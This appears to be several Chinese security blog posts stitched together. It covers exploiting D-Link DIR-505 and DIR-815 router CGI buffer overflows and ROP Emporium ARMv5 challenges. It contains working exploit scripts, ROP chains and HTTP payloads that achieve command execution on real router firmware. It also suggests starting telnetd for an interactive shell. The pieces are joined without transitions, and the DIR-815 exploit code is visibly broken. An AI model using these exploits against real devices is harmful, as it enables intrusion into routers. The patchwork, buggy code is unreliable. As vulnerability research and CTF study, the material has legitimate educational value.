.text:00430DBC sw      $ra, 0x7560+var_s14($sp)	# 保存返回地址到栈上
...
.text:00431168 lw      $ra, 0x7574($sp)	# 从栈上恢复返回地址跳转执行
...
.text:00431184 jr      $ra
.text:00431188 addiu   $sp, 0x7578

环境搭建

后端的 server 是 lighttpd，一开始没有在固件根目录下面找到 html 文件，在 cq 师傅的提醒下，先分析系统的启动脚本 ./etc/rc.d/rcS。在启动脚本中，挂载一些设备和创建相关目录，然后是系统初始化程序 system_manager 运行，在其中也会通过 system 函数执行一些命令。如下是系统初始化脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

#!/bin/ash

# This script runs when init it run during the boot process.
# Mounts everything in the fstab
mount -a
mount -o remount +w /

# Mount the RAM filesystem to /tmp
mount -t tmpfs tmpfs /tmp

# 此处会覆盖掉原来的 etc 目录
# copy all files in the mnt folder to the etc folder
cp -a /mnt/* /etc

ln -sf /etc/hotplug/hotplug /sbin/hotplug

mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var

# 系统初始化程序
#/bin/echo "Init System..."
system_manager &

#/bin/echo "Start tftpd..."
tftpd &

将系统初始化程序 system_manager 放入 IDA 分析，在 main -> init_system -> init_web_server -> init_html_files 中可以看到是如何将原本存放在 mnt 目录下的 html 文件解压出来的，那我们在启动 lighttpd 之前就可以手动执行相关的命令，将 html 文件准备好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

int init_html_files()
{
  system("tar -zxf /etc/www.tgz");
  system("rm -f /etc/www.tgz");
  if ( !byte_416321 )
    system("mv /www/ap/* /www");
  system("rm -rf /www/ap");
  if ( byte_416321 == 2 )
    system("mv /www/rt/* /www");
  system("rm -rf /www/rt");
  if ( byte_416321 == 3 )
    system("mv /www/rpt/* /www");
  system("rm -rf /www/rpt");
  if ( byte_416321 == 4 )
    system("mv /www/whp/* /www");
  system("rm -rf /www/whp");
  system("cp -f /usr/bin/my_cgi.cgi /www");
  copy_default_xml();
  return read_lang_from_flash();
}

最后是看 system_manager 是如何启动 lighttpd 的，可以在 IDA 中直接搜索字符串 lighttpd，定位到 init_web_server 函数中，然后分析 system 函数传入的参数，就可以得到 lighttpd 的启动命令 lighttpd -f /etc/lighttpd/lighttpd.conf 。此处如果直接 F5 的话，分析得到的 system 传入命令不完整。

1
2
3
4

.text:00403C00 addiu   $a0, (aLighttpdFS - 0x400000)  # "lighttpd -f %s &"
.text:00403C04 addiu   $a1, (aEtcLighttpdLig_0 - 0x400000)  # "/etc/lighttpd/lighttpd.conf"
.text:00403C08 jr      $t9 ; _system
.text:00403C0C addiu   $sp, 0x20

以上是分析工作，实际上真正启动服务器，可以先直接执行启动脚本 ./etc/rc.d/rcS，执行完之后，./etc 目录被原本 ./mnt 中的文件替代了，html 文件被解压出来放在了 ./www 文件夹中。运行如下命令，就可以启动 http 服务了。

1
2
3
4
5
6

# 进入固件根目录
chroot . ./etc/rc.d/rcS
# 再执行一遍 system_manager 这个地方会卡住 因为有些 /dev 没有被挂载，例如 nvram
chroot . ./usr/bin/system_manager
# 启动 lighttpd，-D 不进入后台运行
chroot . ./usr/bin/lighttpd -f ./etc/lighttpd/lighttpd.conf -D

漏洞复现

上述的环境搭建其实是不完善的，例如登录操作这种需要 nvram 的根本执行不了，好在这次漏洞是一个无需认证的漏洞。我没有找到在 lighttpd 中是怎么调用的 my_cgi.cgi，那就直接调试 cgi，通过环境变量传入数据进行调试。

幸运的是，可以直接使用 QEMU 进行调试这个漏洞，漏洞的触发过程也不涉及到额外的 patch 工作。首先分析如何才能使代码执行到 do_hnap 函数中存在漏洞的代码处。在 main 函数中，需要设置环境变量 SCRIPT_NAME = HNAP1，使之进入 do_hnap 函数，然后设置环境变量 SOAP_ACTION != (Reboot | SetRouterLanSettings | SetWLanRadioSecurity | SetWLanRadioSettings)，也就是不等于以上四者。最后设置环境变量 CONTENT_LENGTH 控制从标准输入读入到缓冲区的字节数目。

触发漏洞的调试脚本如下，补充说明一下需要将 qemu-mips-static 程序复制到固件的根目录下，这样 chroot 的时候才可以正确使用 qemu-mips-static 进行调试。

1
2
3
4
5
6
7
8
9

# sudo ./debug_mycgi.sh
#!/bin/bash

export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30028"

STDIN=`python -c "print 'A'*30020 + 'deadbeef'"`
echo "$STDIN" | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi

路由器上的程序安全措施通常非常简单，没有 NX 也没有 PIE，此处就直接使用 ret2syscall 来达到命令执行的操作，在 IDA 中使用 mipsrop 插件搜索合适的 gadget，决定使用 0x00405C5C 处。

1
2
3
4

.text:00405C5C la      $t9, system
.text:00405C60 li      $s1, loc_430000
.text:00405C64 jalr    $t9 ; system
.text:00405C68 addiu   $a0, $sp, 0x64+var_3C  # command

当劫持了控制流执行到 gadget，堆栈已经从 do_hnap 函数中恢复了平衡，通过计算，system 函数执行的命令保存在相对于 buf 30064 个字节处，总结就是：buf 写入 30020 个字节之后可以覆盖返回地址到 gadget 0x00405c5c，再写入 40 个字节可以写入 system 函数执行的命令，那么先用 python 脚本写入一个 stdin 文件，然后在调试脚本中通过 cat 输出文件内容，通过管道传递给 qemu

1
2
3
4
5

# python poc.py
cmd = b'touch test\x00'
with open('./stdin', 'wb') as f:
    poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
    f.write(poc)

1
2
3
4
5
6
7
8

# sudo ./debug_mycgi.sh
#!/bin/bash

export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30080"

cat ./stdin | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi

使用 gdb-multiarch 连接上 target remote :12345，然后在 do_hnap 函数恢复返回地址到 ra 寄存器处下断点 b *0x431168，可以看到执行完当前指令后，ra 被写入为 gadget 地址 0x405c5c

继续单步调试到执行 gadget，调用 system 函数，执行的命令保存在 sp + 0x28 处。

可以看到成功命令执行，创建了 test 文件

漏洞利用

如上的漏洞复现调试是针对与 my_cgi.cgi，而真实运行环境是通过 lighttpd 服务器接受用户发送请求数据包，然后将数据通过环境变量以及 STDIN 传递给 my_cgi.cgi 进行处理，漏洞发生也是在这个地方，那么漏洞利用需要构造数据包向 lighttpd 传递。初次之外，还需要看固件支持哪些命令，例如此处的 busybox 支持的命令如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

BusyBox v1.01 (2013.05.23-09:13+0000) multi-call binary

Usage: busybox [function] [arguments]...
   or: [function] [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable.  Most people will create a
        link to busybox for each function they wish to use and BusyBox
        will act like whatever it was invoked as!

Currently defined functions:
        [, arping, ash, brctl, busybox, cat, chmod, cp, cut, date, dd,
        df, dirname, du, echo, egrep, fdisk, fgrep, find, free, grep,
        head, hostname, ifconfig, init, insmod, kill, killall, klogd,
        linuxrc, ln, logger, login, logread, ls, lsmod, md5sum, mkdir,
        mount, mv, nslookup, ping, ps, reboot, rm, rmmod, route, sed,
        sh, sleep, syslogd, tar, telnetd, test, tftp, touch, tr, tty,
        umount, uname, vconfig, vi, wc, wget, xargs, zcip

那么简洁版的 exp 如下，执行结果是直接写回了到返回数据包中。

1
2
3
4
5

import requests
cmd = b'ls -l\x00'
poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
res = requests.post(url='http://127.0.0.1:80/HNAP1/', data=poc)
print(res)

通过 busybox 支持的命令也可以看到，有 telnetd，如果在实体机上要获取到一个可交互的 shell，那么可以开启设备的 telnet 服务。

个人小结

如下是个人觉得可以加深对于程序执行流程理解的一些点：

• do_hnap 函数中循环的控制及 MIPS 架构 s 系列寄存器的用法
  寄存器 s0~s7 通常是用来在子函数内部使用，如果在子函数内部还需要调用函数，那么需要将这些寄存器的值保存在栈上，执行完调用函数后进行恢复。例如s0~s7 在 main 函数中使用，当 main 函数调用 do_hnap 的时候，在 do_hnap 函数的初始化堆栈时，将寄存器保存到了栈上。因此，我们在缓冲区溢出的时候，有时候不止可以控制 ra 寄存器，还可以控制 s 系列寄存器。

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

  # do_hnap 函数初始化过程 .text:00430DAC li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .) .text:00430DB4 addu $gp, $t9 .text:00430DB8 addiu $sp, -0x7578 .text:00430DBC sw $ra, 0x7560+var_s14($sp) .text:00430DC0 sw $s4, 0x7560+var_s10($sp) .text:00430DC4 sw $s3, 0x7560+var_sC($sp) .text:00430DC8 sw $s2, 0x7560+var_s8($sp) .text:00430DCC sw $s1, 0x7560+var_s4($sp) .text:00430DD0 sw $s0, 0x7560+var_s0($sp) ... # do_hnap 函数执行完毕 .text:00431168 lw $ra, 0x7574($sp) .text:0043116C move $v0, $s0 .text:00431170 lw $s4, 0x7570($sp) .text:00431174 lw $s3, 0x756C($sp) .text:00431178 lw $s2, 0x7568($sp) .text:0043117C lw $s1, 0x7564($sp) .text:00431180 lw $s0, 0x7560($sp) .text:00431184 jr $ra .text:00431188 addiu $sp, 0x7578

  那么现在回归正题，do_hnap 函数是使用的 s0 指向 buf 的起始地址，s1 指向 buf 的结束位置，s3 指向标准输入的起始地址。循环的结构使用 IDA 的控制流图看的话，就非常简介明了。s0 先指向 buf 起始地址，每次调用 fgetc 读取一个字符保存到 s0，然后 s0 自加指向下一个位置，直到 s0 指向结束地址。

  1 2 3 4 5 6 7

  .text:00430F9C la $s3, stdin # 标准输入存储在 s3 寄存器 .text:00430FA0 move $s0, $a0 # s0：指针指向 buf 的起始位置 .text:00430FA4 addu $s1, $a0, $s1 # s1：指针指向 buf 的结束位置 ... .text:00431010 sb $v0, 0($s0) # 将从 fgetc 读取到的字符存储到缓冲区 .text:00431014 addiu $s0, 1 # s0 移动到缓冲区下一个位置 .text:00431018 bne $s0, $s1, loc_430FB4 # 比较进行跳转

• 关于 server 的启动命令分析
  可以分析固件文件系统的初始化启动脚本，通常在 /etc/rc* 文件或者目录下，就可以得到设备启动时执行了哪些初始化工作，例如挂载设备、创建文件等等。此处还有解压 html 文件，应该为了节省设备的存储空间，第一次启动的时候进行解压。

• 关于漏洞利用执行结果回显
  如果设备固件中带有一些可以进行交互的程序例如 sshd、telnetd 等服务，那么命令执行可以通过这些程序直接获取到一个可交互的 shell，如果没有，可以考虑把执行结果写回到设备的 www 目录中的文件，通过 http 服务访问命令执行结果。

参考链接

• [exploit.db] D-Link HNAP - Request Remote Buffer Overflow (Metasploit)
• Hacking the D-Link DSP-W215 Smart Plug
• [固件下载] DIR-505_REVA_FIRMWARE_1.07.ZIP]

存在漏洞的函数pwnme在libwrite4动态库里面，动态库中提供了一个print_file函数，用来打印指定路径的文件内容。因此这道题目的解法就是将字符串传递给print_file函数执行。
pwnme函数还是老样子：

1
2
3
4
5
6
7
8
9
10
11
12
13

int pwnme()
{
  char s[36]; // [sp+0h] [bp-24h] BYREF

  setvbuf((FILE *)stdout, 0, 2, 0);
  puts("write4 by ROP Emporium");
  puts("ARMv5\n");
  memset(s, 0, 0x20u);
  puts("Go ahead and give me the input already!\n");
  printf("> ");
  read(0, s, 0x200u);
  return puts("Thank you!");
}

print_file函数如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

int __fastcall print_file(const char *a1)
{
  char s[36]; // [sp+8h] [bp-2Ch] BYREF
  FILE *stream; // [sp+2Ch] [bp-8h]

  stream = fopen(a1, "r");
  if ( !stream )
  {
    printf("Failed to open file: %s\n", a1);
    exit(1);
  }
  fgets(s, 33, stream);
  puts(s);
  return fclose(stream);
}

利用

函数pwnme中的缓冲区s起始地址在FP-0x24，函数返回地址保存在FP，因此依旧使用0x24个字节填充准备覆盖返回地址。
gadgets需要能够从栈上读取路径字符串到某个特定的地址，由于栈加载地址未知（实际上也是已知），因此将字符串地址写入到.data中。找到如下：

1
2

# ROPgadget --binary write4_armv5 | grep "pop" | grep "str"
0x000105ec : str r3, [r4] ; pop {r3, r4, pc} ; pop {r0, pc}

那么利用方式就是：

1. 将字符串和.data的地址写入到栈上，然后POP到R3和R4中
2. 调用STR指令将字符串写入到.data
3. 从栈上继续POP .data的地址到R0，调用print_file函数

ROP如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

rop = b"A" * 0x24
rop += p32(pop_r34_pc) # pop {r3, r4, pc}
rop += b"flag" # r3
rop += p32(addr_of_data) # r4
rop += p32(str_r3_r4)  # str r3, [r4] ; pop {r3, r4, pc}

rop += b".txt"
rop += p32(addr_of_data + 4)
rop += p32(str_r3_r4)  # str r3, [r4] ; pop {r3, r4, pc}

rop += b"AAAA"
rop += b"AAAA"
rop += p32(pop_r0_pc)

rop += p32(addr_of_data)
rop += p32(addr_of_print_file)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

from pwn import *

BINARY = "./write4_armv5"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "arm"
context.binary = BINARY

pop_r34_pc = 0x000105F0 
pop_r0_pc = 0x000105F4
str_r3_r4 = 0x000105ec

addr_of_data = 0x00021024
addr_of_print_file = 0x000104B0

p = remote("0.0.0.0", 8888)

rop = b"A" * 0x24
rop += p32(pop_r34_pc) # pop {r3, r4, pc}
rop += b"flag" # r3
rop += p32(addr_of_data) # r4
rop += p32(str_r3_r4)  # str r3, [r4] ; pop {r3, r4, pc}

rop += b".txt"
rop += p32(addr_of_data + 4)
rop += p32(str_r3_r4)  # str r3, [r4] ; pop {r3, r4, pc}

rop += b"AAAA"
rop += b"AAAA"
rop += p32(pop_r0_pc)

rop += p32(addr_of_data)
rop += p32(addr_of_print_file)

p.recvuntil(b"> ")
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

执行结果如下：

1
2
3
4
5
6
7
8
9
10

[*] '/home/utest/rop_practice/armv5/write4_armv5/write4_armv5'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
    RUNPATH:  b'.'
[+] Opening connection to 0.0.0.0 on port 8888: Done
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 0.0.0.0 port 8888

这个题目是为了考察armel下使用rop调用函数传参，需要依次传入指定参数调用callme_one、 callme_two、callme_three，如下：

• callme_one(0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
• callme_two(0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
• callme_three(0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)

存在缓冲区溢出漏洞的pwnme函数还是老样子：

1
2
3
4
5
6
7
8
9
10

int pwnme()
{
  char s[36]; // [sp+0h] [bp-24h] BYREF

  memset(s, 0, 0x20u);
  puts("Hope you read the instructions...\n");
  printf("> ");
  read(0, s, 0x200u);
  return puts("Thank you!");
}

利用

缓冲区起始地址在FP-0x24，函数返回地址保存在FP，因此填充0x24个字节后开始覆盖返回地址。
寻找gadgets：需要找到能够操控R0~R2的gadget，还需要从栈上POP数据，非常好运找到如下：

1
2

# ROPgadget --binary callme_armv5 | grep "pop"
0x00010870 : pop {r0, r1, r2, lr, pc}

ROP如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

rop = b"A" * 0x24
rop += p32(0x00010870)  # pop {r0, r1, r2, lr, pc}
rop += p32(0xDEADBEEF)  # r0
rop += p32(0xCAFEBABE)  # r1
rop += p32(0xD00DF00D)  # r2
rop += p32(0x00010870)
rop += p32(addr_of_callmeone)

rop += p32(0xDEADBEEF)  # r0
rop += p32(0xCAFEBABE)  # r1
rop += p32(0xD00DF00D)  # r2
rop += p32(0x00010870)
rop += p32(addr_of_callmetwo)

rop += p32(0xDEADBEEF)  # r0
rop += p32(0xCAFEBABE)  # r1
rop += p32(0xD00DF00D)  # r2
rop += p32(0x00010870)
rop += p32(addr_of_callmethree)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

from pwn import *

BINARY = "./callme_armv5"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "arm"
context.binary = BINARY

pop_r012_lr_pc = 0x00010870
callme_one = 0x00010618
callme_two = 0x0001066C
callme_three = 0x0001060C

p = remote("0.0.0.0", 8888)

rop = b"A" * 0x24
rop += p32(pop_r012_lr_pc)  # pop {r0, r1, r2, lr, pc}
rop += p32(0xDEADBEEF)  # r0
rop += p32(0xCAFEBABE)  # r1
rop += p32(0xD00DF00D)  # r2
rop += p32(pop_r012_lr_pc)
rop += p32(callme_one)

rop += p32(0xDEADBEEF)  # r0
rop += p32(0xCAFEBABE)  # r1
rop += p32(0xD00DF00D)  # r2
rop += p32(pop_r012_lr_pc)
rop += p32(callme_two)

rop += p32(0xDEADBEEF)  # r0
rop += p32(0xCAFEBABE)  # r1
rop += p32(0xD00DF00D)  # r2
rop += p32(pop_r012_lr_pc)
rop += p32(callme_three)

p.recvuntil(b"> ")
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

结果如下：

1
2
3
4
5
6
7
8
9
10
11
12

$ python3 callme.py 
[*] '/home/utest/rop_practice/armv5/callme_armv5/callme_armv5'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
    RUNPATH:  b'.'
[+] Opening connection to 0.0.0.0 on port 8888: Done
[*] Paused (press any to continue)
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 0.0.0.0 port 8888

最近在整理以前的笔记，看到了刚开始学习IoT安全时候写的一篇流程文章，当时是跟着《解密家用路由器0day漏洞挖掘技术》一步步走的。那个时候对MIPS下的ROP、一些基础安全知识掌握得都不是很熟悉，如今重新看到了当时的笔记，决定独立重新再做一遍。

漏洞的原理很简单，就是由于sprintf函数导致的缓冲区溢出。数据源来自网络包的cookie，未做长度的校验就送入到了sprintf函数中拼接字符串。漏洞的利用难点在于如何通过网络数据包发送带有00截断的system函数地址，解决方案是先将system函数地址进行数学运算保存在栈上，然后从栈上恢复后再运算恢复system函数地址。

环境搭建

FirmAE是真滴好用，这篇文章我的重心也是要放在ROP利用上，因此手动搭建环境的流程就直接略过了。
固件下载地址在参考链接中，FirmAE是使用debug模式启动的，可以连接到仿真虚拟机的终端中，方便调试。

这里可以看到FirmAE对该虚拟机的编号IID等于3，就可以直接在images目录中去得到压缩的文件系统，不用再次使用binwalk解压出来一堆东西。

漏洞分析

漏洞是发生在程序/htdocs/cgibin中，该程序通过web服务程序httpd调用，httpd根据前端的请求将数据通过环境变量和标准输入传递给cgibin，cgibin执行完毕后将结果通过标准输出返回给httpd。
漏洞触发的流程如下：
httpd：
main->httpd_main->sub_407130->sub_406DB4->process_request->process_cgi->spawn 创建CGI进程
CGI：
main->hedwigcgi_main
对该漏洞调试涉及到了gdb的多进程调试，具体可以参考我之前写的这篇文章：调试httpd调用的cgibin程序，此处不再赘述，就简单说一下即可：
首先在FirmAE中找到httpd服务的进程，然后通过gdbserver attach上去：

在宿主机中执行如下的gdb调试命令，我是选择将它们全部保存到一个调试文件中，然后gdb-multiarch使用-x参数启动时运行调试命令：

1
2
3

target remote 192.168.0.1:1234
b *0x00409F88              # 断点到函数spawn执行fork处
c

在此处对路由器进行发包，格式在本文后续中有。然后就会断在执行函数fork处，执行如下命令准备调试子进程cgibin：

1
2
3

set follow-fork-mode child # 调试cgibin子进程
set detach-on-fork off
catch exec

执行到cgibin中，进行调试：

1
2

b *0x00409660
c

存在溢出的缓冲区起始地址为sp+0xC0，hedwigcgi_main函数返回地址保存在sp+0x4E4，因此需要填充0x424个字节才能开始覆盖返回地址。v27的格式前17个字节是固定的字符串/runtime/session，随后的数据都是可控的，因此控制uid=后填充0x424-0x11=0x413个字节开始覆盖返回地址。

1
2
3
4
5
6
7
8
9
10

int hedwigcgi_main()
{
......
  char v27[1024]; // [sp+C0h] [-400h] BYREF
......
  sess_get_uid((int)v4);                        // /runtime/session
  v6 = sobj_get_string(v4);
  sprintf(v27, "%s/%s/postxml", "/runtime/session", v6);// uid=字符串
......
}

因此简单构造如下的数据包就可以控制函数的返回地址为0xdeadbeef：

1
2
3
4
5
6
7
8
9
10

POST /hedwig.cgi HTTP/1.1
Host: 192.168.0.1:80
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: uid={b"A" * 0x413 + p32(0xdeadbeef)}
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
x=x

漏洞利用

查看system函数的地址，system函数位于哪一个动态库中，以及动态库的加载地址：

1
2
3
4
5
6
7
8
9
10

pwndbg> info address system
Symbol "system" is at 0x77844200 in a file compiled without debugging.
pwndbg> info symbol system
system in section .text of target:/lib/libc.so.0
pwndbg> info sharedlibrary
From        To          Syms Read   Shared Object Library
0x7789fa00  0x778a32b0  Yes (*)     target:/lib/ld-uClibc.so.0
0x77870380  0x7788ccf0  Yes (*)     target:/lib/libgcc_s.so.1
0x777face0  0x77849f50  Yes (*)     target:/lib/libc.so.0
(*): Shared library is missing debugging information.

可以看到函数system地址的最后一个字节是00，如果直接使用的话，在数据包的处理阶段有许多字符串操作函数可能直接就截断了，也可能在格式化字符串函数sprintf处被截断。因此在ROP的时候需要进行一些运算使得payload中不包含00，且可以恢复到函数system地址。
常用的运算方式例如使用xor计算、先将地址进行加减运算然后恢复等，此处采用的是后者。

补充一个吧，一开始自己走了弯路，在cgibin中去找了大半天的gadget，然后才想到cgibin的加载地址前两位肯定是00，最后才恍然大悟，应该在libc.so.0->libuClibc-0.9.30.1.so中去寻找。

1. 由于system函数的地址是经过计算后才能跳转执行，因此通常是选择将运算结果保存到t9，然后jr指令跳转执行。通过执行mipsrop.find("move $t9")发现了不少可以使用的指令，都是从其他寄存器中赋值给t9。
   如下的这条gadget品相就极好，不仅从s0恢复了system函数的地址，还顺带设置好了栈上的字符串地址到s5再传递给a0。这条地址也可以通过mipsrop.stackfinder()找到。

   1 2 3 4 5 6 7

   # gadget2 .text:000159CC addiu $s5, $sp, 0x14C+var_13C .text:000159D0 move $a1, $s3 .text:000159D4 move $a2, $s1 .text:000159D8 move $t9, $s0 .text:000159DC jalr $t9 ; .text:000159E0 move $a0, $s5

2. 以s0为例作为中间保存值的寄存器，执行mipsrop.find("addiu $s0")。
   如下的gadget对s0执行了加法操作，恢复了system函数地址，还从栈上恢复了s5寄存器，用于上一条gadget传参到a0。

   1 2 3 4 5

   # gadget1 .text:0002D194 addiu $s0, 1 .text:0002D198 move $t9, $s5 .text:0002D19C jalr $t9 .text:0002D1A0 nop

ROP构造

可以被控制的缓冲区地址是sp+0xC0+0x11=sp+0xD1。s0寄存器从sp+0x4C0开始恢复，因此填充0x3EF个字节开始覆盖；s5寄存器保存在sp+0x4C0+0x14=sp+0x4D4，因此填充0x403个字节开始覆盖；ra寄存器在之前计算过，是填充0x413个字节开始覆盖。

1
2
3
4
5
6
7

rop = b"A" * 0x3EF 
rop += p32(value_s0)
rop += b "A" * (0x403 - len(rop))
rop += p32(value_s5)
rop += b "A" * (0x413 - len(rop))
rop += p32(gadget_1)
rop += b "A" * 4

验证如下，成功开始执行gadget：

但是此时还没有将要执行的命令布局到栈上。根据gadget2，命令在sp+0x10处，因此：

1
2

rop += b"A" * 0x10
rop += cmd

验证如下，要执行的命令和缓冲区中的数据结合了，但也证明了成功利用：

EXP

修改完毕的一个exp如下，这个exp在我的环境中调试是可以输入命令到system函数的，但是执行命令似乎失败了。不管了。。。ROP已经调试好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

from pwn import *
import requests

API = "http://192.168.0.1:80/hedwig.cgi"

context.endian = "little"
context.arch = "mips"

def gen_payload(libc_base, cmd):
    rop = b"A" * 0x3EF 
    rop += p32(libc_base + 0x00053200 - 1)  # s0
    rop += b"A" * (0x403 - len(rop))
    rop += p32(libc_base + 0x000159CC)  # s5
    rop += b"A" * (0x413 - len(rop))
    rop += p32(libc_base + 0x0002D194)  # ra

    rop += b"A" * 0x10
    rop += cm
    return rop

if __name__ == "__main__":
    cookie = b"uid=" + gen_payload(libc_base=0x77F34000, cmd)
    header = {
        "Cookie" : cookie,
        "Content-Type" : "application/x-www-form-urlencoded",
    }
    data = {"x" : "x"}
    res = requests.post(url=API, headers=header, data=data)
    

小结

整个复现过程用了大概一天的时间，主要耗费在了找gadget上。我一开始是直接在cgibin程序中去找的gadget，等找了一大串又多又臭的ROP链才想到，cgibin程序本身的加载地址就是以00开头的。后面才醒悟过来应该在libc库中去寻找gadget。

参考链接

• File DIR-815_FIRMWARE_1.01.ZIP — Firmware for D-link DIR-815

分析

这道题目的目的是使用ROP调用system函数，并设置参数为字符串/bin/cat flags的地址。总的来说，就是要了解armel的函数传参方式，然后调用相应的gadget。
分析pwnme函数，局部变量s的大小是36，但是可以传入0x60个字节，因此存在缓冲区溢出。

1
2
3
4
5
6
7
8
9
10

int pwnme()
{
  char s[36]; // [sp+0h] [bp-24h] BYREF

  memset(s, 0, 0x20u);
  puts("Contriving a reason to ask user for data...");
  printf("> ");
  read(0, s, 0x60u);
  return puts("Thank you!");
}

这个地方再说一下armel下的函数栈帧开辟和释放流程吧：
在函数初始化阶段，先将R11和LR两个寄存器保存到栈上，然后将SP+4的大小保存到R11上，最后SP自减0x20来开辟了栈帧。
R11也叫做FP（Frame Pointer）寄存器，类似于x86下的EBP寄存器，用于和SP一起界定函数栈栈的边界。FP寄存器就是指向栈底，SP寄存器就是指向栈顶。
pwnme函数是在main函数中通过BL指令跳转执行，BL指令会将其下一条指令作为pwnme函数的返回地址保存到LR寄存器中。因此在pwnme函数中保存到栈上的LR寄存器值就是需要通过缓冲区溢出进行修改的关键数据。

1
2
3

.text:00010570                 PUSH    {R11,LR}
.text:00010574                 ADD     R11, SP, #4
.text:00010578                 SUB     SP, SP, #0x20

在pwnme函数的结尾，会将R11+4的值赋值给SP，来做栈平衡。函数返回地址的跳转是直接通过POP指令将栈上的函数返回地址恢复到PC中。

1
2

.text:000105C0                 SUB     SP, R11, #4
.text:000105C4                 POP     {R11,PC}

和mipsel架构不同，armel的SP寄存器在函数的生命周期里面都是变化的，因此如果要定位、计算栈上变量的位置，可以用FP寄存器来计算。pwnme函数的局部变量s起始地址为fp-0x24，返回地址保存在fp，因此需要0x24个字节填充后，覆盖返回地址。

利用

经过观察，发现armel下的split不像mipsel，有UsefulGadgets可以直接使用。因此，需要自己去找gadgets了。
调用system函数需要知道system函数地址和传入的字符串，二者都在程序中。那么难点就是如何去传参。

1. 需要从栈上将字符串设置到寄存器R0
2. 需要从栈上将system函数的地址设置到PC寄存器上

使用ROPGadget没有找到直接从栈上POP数据到R0的指令，因此考虑先将字符串地址从栈上取出到另外一个寄存器，然后再mov到R0上。只找到如下的一条：

1
2

# ROPgadget --binary split_armv5 | grep "mov" | grep "r0"
0x00010558 : mov r0, r3 ; pop {fp, pc}

那么继续找可以从栈上恢复数据到R3寄存器的指令，挺多的，找了如下的两条做参考：

1
2
3

# ROPgadget --binary split_armv5 | grep "pop" | grep "r3"
.fini:00010658                 POP     {R3,PC}
.init:000103A4                 POP     {R3,PC}

ROP编写如下：

1
2
3
4
5
6
7

rop = b"A" * 0x24
rop += p32(0x00010658) # POP     {R3,PC}
rop += p32(字符串地址)   # 字符串地址
rop += p32(0x00010558)  # mov r0, r3 ; pop {fp, pc}

rop += b"AAAA"
rop += p32(system函数)

简单补充一下armel下批量POP的话，是先POP到序号小的寄存器。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

from pwn import *

BINARY = "./split_armv5"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "arm"
context.binary = BINARY

p = remote("0.0.0.0", 8888)
pause()
rop = b"A" * 0x24
rop += p32(0x00010658) # POP     {R3,PC}
rop += p32(0x0002103C) # 字符串地址
rop += p32(0x00010558) # mov r0, r3 ; pop {fp, pc}

rop += b"AAAA"
rop += p32(0x000103EC) # system函数地址

p.recvuntil(b"> ")
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

利用结果如下：

1
2
3
4
5
6
7
8
9
10

[*] '/home/utest/rop_practice/armv5/split_armv5/split_armv5'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
[+] Opening connection to 0.0.0.0 on port 8888: Done
[*] Paused (press any to continue)
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 0.0.0.0 port 8888